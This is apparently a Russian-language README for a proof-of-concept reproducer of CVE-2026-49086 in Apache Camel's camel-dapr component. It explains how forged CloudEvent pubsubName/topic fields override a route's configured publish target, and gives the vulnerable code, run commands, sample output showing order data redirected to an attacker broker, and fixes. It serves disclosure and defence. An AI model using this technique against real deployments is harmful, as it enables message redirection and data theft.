
Репродуктор PoC для CVE-2026-49086, демонстрирующий переопределение заголовка маршрутизации по принципу «запутанный посредник» в Apache Camel camel-dapr, что позволяет перенаправлять сообщения и эксфильтровать данные через недоверенные поля CloudEvent.
Этот проект демонстрирует уязвимость переопределения заголовка маршрутизации (confused-deputy) в компоненте camel-dapr Apache Camel, отслеживаемую как CVE-2026-49086.
Потребитель Dapr pub/sub (consumer, DaprPubSubConsumer) копирует поля входящего (недоверенного) CloudEvent в заголовки сообщений Exchange. Два из них — pubsubName и topic — являются заголовками маршрутизации в направлении производителя (CamelDaprPubSubName / CamelDaprTopic). Когда тот же маршрут позже публикует с помощью производителя dapr:pubSub, DaprConfigurationOptionsProxy предпочитает значение заголовка настроенному значению конечной точки. Таким образом, входящий конверт, контролируемый недоверенным отправителем, незаметно переопределяет место повторной публикации маршрута:
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
В маршруте, который потребляет из одного топика и повторно публикует в другой (распространённый шаблон аудита/пересылки/разветвления), субъект, способный публиковать в подписанный топик, задаёт pubsubName/topic в CloudEvent и перенаправляет повторно публикуемое сообщение в произвольный компонент + топик Dapr pub/sub — похищая полезную нагрузку в доступный атакующему брокер или обходя штатные маршрутизацию/ACL. Это confused-deputy: приложение повторно публикует сообщение со своими учётными данными Dapr в место, выбранное атакующим.
Данный PoC демонстрирует воздействие как перенаправление сообщений / кражу данных (CWE-441, от CWE-20).
Advisory: https://camel.apache.org/security/CVE-2026-49086.html
Исправление не позволяет потребителю устанавливать два указанных заголовка маршрутизации (
CamelDaprPubSubName/CamelDaprTopic); остальные заголовки метаданных CloudEvent не изменяются. После этого производитель всегда использует настроенные на конечной точке pub/sub + топик. (Также был добавленDaprHeaderFilterStrategyдля согласованности каталога, но фактическим исправлением является именно изменение заголовков маршрутизации.)
Уязвимость полностью находится в Camel — потребитель копирует CloudEvent.pubsubName/topic в заголовки маршрутизации, а производитель предпочитает эти заголовки. Dapr sidecar — это лишь транспорт. Данный воспроизводитель внедряет заглушки (mock) клиентов Dapr SDK (client=#mockClient, previewClient=#mockPreview), поэтому настоящие DaprPubSubConsumer и DaprPubSubHandler работают без изменений и без sidecar: mock-клиент preview перехватывает подписной слушатель, а mock-клиент записывает цель публикации. Затем драйвер атаки доставляет поддельный CloudEvent перехваченному слушателю — ровно то, что срабатывает у отправителя, способного публиковать в подписанный топик.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
Автор предполагает, что каждый заказ будет зеркалироваться в фиксированный audit-broker/audit-log. Но поскольку потребитель копирует pubsubName/topic входящего конверта в заголовки маршрутизации, аудиторский производитель публикует в то, что указано в конверте, — но не в настроенный аудиторский поток.
Всё запускается в одном автономном контейнере.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). После исправления потребитель больше не устанавливает CamelDaprPubSubName / CamelDaprTopic, поэтому производитель dapr:pubSub, находящийся ниже по потоку от потребителя dapr:pubSub, использует настроенные на конечной точке компонент pub/sub и топик.
До обновления удаляйте заголовки маршрутизации между потребителем и любым производителем dapr:pubSub в маршруте (например, removeHeaders("CamelDaprPubSubName,CamelDaprTopic")) и задавайте повторно публикуемые pub/sub + топик из доверенного источника.
Этот воспроизводитель предоставлен только для исследований безопасности и авторизованного тестирования и касается публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.
| Свойство | Значение |
|---|
| Компонент | camel-dapr |
| Затронутый класс | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (устанавливает заголовки PUBSUB_NAME/TOPIC из входящего CloudEvent) |
| CWE | CWE-20 (Improper Input Validation) / CWE-441 (Unintended Proxy / Confused Deputy) |
| Воздействие | Перенаправление повторно публикуемого сообщения в произвольный компонент + топик Dapr pub/sub (кража данных / обход маршрутизации и ACL) |
| Предусловия | Маршрут потребляет из топика dapr:pubSub и повторно публикует через производителя dapr:pubSub; атакующий может публиковать в подписанный топик |
| Затронутые версии | 4.12.0 through 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| Автор | Leon Zlobecki |